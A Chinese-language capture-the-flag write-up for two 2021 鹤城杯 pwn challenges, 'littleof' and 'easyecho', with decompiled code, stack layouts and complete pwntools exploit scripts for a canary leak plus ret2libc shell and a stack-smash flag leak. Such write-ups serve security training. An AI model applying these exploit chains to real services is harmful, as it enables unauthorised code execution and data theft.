littleof

[2021 鹤城杯]littleof

准备


64 位,开了 canary

分析

main函数

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_4006E2();
return 0LL;
}

有一个 sub_4006E2 函数

sub_4006E2函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_4006E2()
{
char buf[8]; // [rsp+10h] [rbp-50h] BYREF
FILE *stdin; // [rsp+18h] [rbp-48h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
stdin = stdin;
puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
printf("%s. Try harder!", buf);
read(0, buf, 0x100uLL);
puts("I hope you win");
return __readfsqword(0x28u) ^ v3;
}

这里 v3 存储 canary 的值
先一个读取输入最大 256(0x100) 个字节到 buf ,但 buf 没这么大,所以存在缓冲区溢出
然后将输入的内容(存储在 buf 中)与固定字符串 . Try harder! 拼接后输出
再次读取输入

思路:

这题开了 canary 保护,只有溢出点,没有连接点和其他,所以绕过 canary 后,打64位的 ret2libc
因为 64 位程序,所以需要寄存器,这里用常用的 puts 函数去打,有一个参数,用 rdi 寄存器,在考虑 64 位的堆栈平衡,也要知道 ret 来填充
ROPgadget 指令获取这些数据

然后通过 ida 查看栈情况,获取偏移,并且计算输入点(buf)到 canary 值(v3)的距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
-0000000000000060 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000060 // Frame size: 60; Saved regs: 8; Purge: 0
-0000000000000060
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 _QWORD var_58;
-0000000000000050 char buf[8];
-0000000000000048 _QWORD var_48;
-0000000000000040 // padding byte
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

偏移为 0x50+8(88)
这里的 buf 在这里 -0000000000000050 char buf[8];
v3 在这里 -0000000000000008 _QWORD var_8;
两者间的距离为 0x50-0x8=0x48(72)
就可以利用第一次输入后的 printf 输出,获得 canary 的值

1
2
3
4
5
payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

这里最后的 b'bbbb' 是为了好定位,来下面接收后获得 canary 的值
有了 canary 的值,就正常的打 ret2libc
先获取 puts 函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
context(os='linux',log_level = 'debug',arch='amd64')
io = remote('node4.anna.nssctf.cn',28798)
# io= process('/home/motaly/of')
elf=ELF('/home/motaly/of')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

这里前面的填充先给 72 个,然后给一个 canary 的值,来绕过 canary 保护,然后因为总的偏移是 88,所以后面在加一个 8 的填充
通过 puts 函数的地址,得到 libc 基址,进而有了 system/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

最后在同样的执行一遍流程,获得 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)

payload=b'a'*72+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Try harder!',payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *
context(os='linux',log_level = 'debug',arch='amd64')
io = remote('node4.anna.nssctf.cn',28798)
# io= process('/home/motaly/of')
elf=ELF('/home/motaly/of')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)

payload=b'a'*72+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Try harder!',payload)

io.interactive()

easyecho

[2021 鹤城杯]easyecho
参考

准备


64 位,保护全开
这里换源( 2.23-0ubuntu11.3_amd64 )是因为利用 Stack smash 手法,输入点与 argv[0] 间的距离大小会受 libc 环境影响

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall main(int a1, char **a2, char **a3)
{
bool v3; // zf
__int64 n9; // rcx
char *v5; // rsi
const char *backdoor; // rdi
char buf[16]; // [rsp+0h] [rbp-A8h] BYREF
int (*sub_CF0_1)(); // [rsp+10h] [rbp-98h]
char v10[104]; // [rsp+20h] [rbp-88h] BYREF
unsigned __int64 v11; // [rsp+88h] [rbp-20h]

v11 = __readfsqword(0x28u);
sub_DA0();
sub_F40();
sub_CF0_1 = sub_CF0;
puts("Hi~ This is a very easy echo server.");
puts("Please give me your name~");
_printf_chk(1LL, "Name: ");
sub_E40(buf, 16LL);
_printf_chk(1LL, "Welcome %s into the server!\n", buf);
do
{
while ( 1 )
{
_printf_chk(1LL, "Input: ");
gets(v10);
_printf_chk(1LL, "Output: %s\n\n", v10);
n9 = 9LL;
v5 = v10;
backdoor = "backdoor";
do
{
if ( !n9 )
break;
v3 = *v5++ == *backdoor++;
--n9;
}
while ( v3 );
if ( !v3 )
break;
((void (__fastcall *)(const char *, char *))sub_CF0_1)(backdoor, v5);
}
}
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
return 0LL;
}

先有一个 sub_CF0 函数,是否成功的结果保存赋值给 sub_CF0_1
然后是 name 值的输入,有 sub_E40 函数,参数是 buf 和 16
输入完后会用 _printf_chk 进行输出
接着进入循环,不是输入 exitexit ,就不会停止
循环中的输入点用到 gets 函数,存在缓冲区溢出
并且输入后都会有输出
下面有一个 backdoor 参数,查看发现

是把 backdoor\x00 赋值给了 backdoor 参数
下面程序严格比较输入是否与 backdoor\x00 完全一致
当输入 backdoor\x00 时会调用函数指针 sub_CF0_1,也就是会获得 flag

sub_CF0函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_CF0()
{
__int64 v0; // rax
int fd; // ebx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( unk_2020A0 )
{
return __readfsqword(0x28u) ^ v3;
}
else
{
unk_2020A0 = 1;
fd = open("./flag", 0);
if ( fd < 0 )
perror("open");
read(fd, &buf_, 0x50uLL);
LODWORD(v0) = close(fd);
}
return v0;
}

flag 的内容读取到 buf_ 处,在 bss

sub_E40函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall sub_E40(char *buf, __int64 n16)
{
ssize_t v4; // rax
int n11; // eax
unsigned __int64 v7; // [rsp+8h] [rbp-20h]

v7 = __readfsqword(0x28u);
while ( n16 )
{
v4 = read(0, buf, 1uLL);
if ( !v4 )
break;
if ( v4 == -1 )
{
n11 = *_errno_location();
if ( n11 != 11 && n11 != 4 )
return __readfsqword(0x28u) ^ v7;
}
else
{
if ( *buf == 10 )
{
*buf = 0;
return __readfsqword(0x28u) ^ v7;
}
++buf;
}
--n16;
}
return __readfsqword(0x28u) ^ v7;
}

这里逐字节读取输入
当遇到换行符 '\n' 时,将其替换为'\0'(字符串结束符)并终止读取
每次成功读取非换行符后,缓冲区指针后移,同时剩余长度计数器递减,严格控制不超过 n16(16) 的限制
输入完后会用 _printf_chk 进行输出
这里会有一个数据泄露问题
这里设定最大输入是 16,当我们写入填满 16 个数据大小且不含换行符时,循环会在读取 16 字节后结束,不会主动添加\0 ,导致buf成为一个未终止的字符串
在后面输出时,因为 printf 字符串函数依赖\0来判断字符串结束位置,所以会读取buf之后的相邻内存数据(属于栈上的其他变量或数据),造成信息泄露

思路:

这题保护全开,有溢出点,flag 可以泄露,每次输入后都会输出,所以可以用 `` 手法进行数据泄露
因为第一个输入点 name 处填满时有一个数据泄露,所以先看一下泄露的数据

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# io = remote('node7.anna.nssctf.cn', 20508)
io = process('/home/motaly/echo')
elf=ELF('/home/motaly/echo')

io.sendlineafter(b'Name: ', b'a'*16)
# gdb.attach(io)

gdb 调试,并查看栈情况


发现这里可以泄露出一个基址

1
2
3
4
5
6
io.sendlineafter(b'Name: ', b'a'*16)
io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

有了一个栈地址,我们就可以借此来获得 flag 的地址

1
2
3
4
5
6
7
8
9
io.sendlineafter(b'Name: ', b'a'*16)
io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')
# gdb.attach(io)

输入 backdoor 后,flag会被写在 bss
再次调试,获得基址与 flag 地址间的距离
(注意:本地调试要记得创建 flag 文件)

得到 flag 地址

1
2
3
4
5
6
7
8
9
10
11
io.sendlineafter(b'Name: ', b'a'*16)

io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')
gdb.attach(io)
flag=pro_base+0x202040

最后利用 Stack smash 手法,对 flag 的内容进行泄露
再次调试,获得输入点与 argv[0] 间的距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
io.sendlineafter(b'Name: ', b'a'*16)

io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')

flag=pro_base+0x202040
gdb.attach(io)
payload=b'a'*0x168+p64(flag)
io.sendlineafter(b'Input: ',payload)
io.sendlineafter(b'Input: ',b'exitexit')

要退出循环才能触发 canary

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# io = remote('node7.anna.nssctf.cn', 20508)
io = process('/home/motaly/echo')
elf=ELF('/home/motaly/echo')

io.sendlineafter(b'Name: ', b'a'*16)

io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')

flag=pro_base+0x202040
gdb.attach(io)
payload=b'a'*0x168+p64(flag)
io.sendlineafter(b'Input: ',payload)
io.sendlineafter(b'Input: ',b'exitexit')

io.interactive()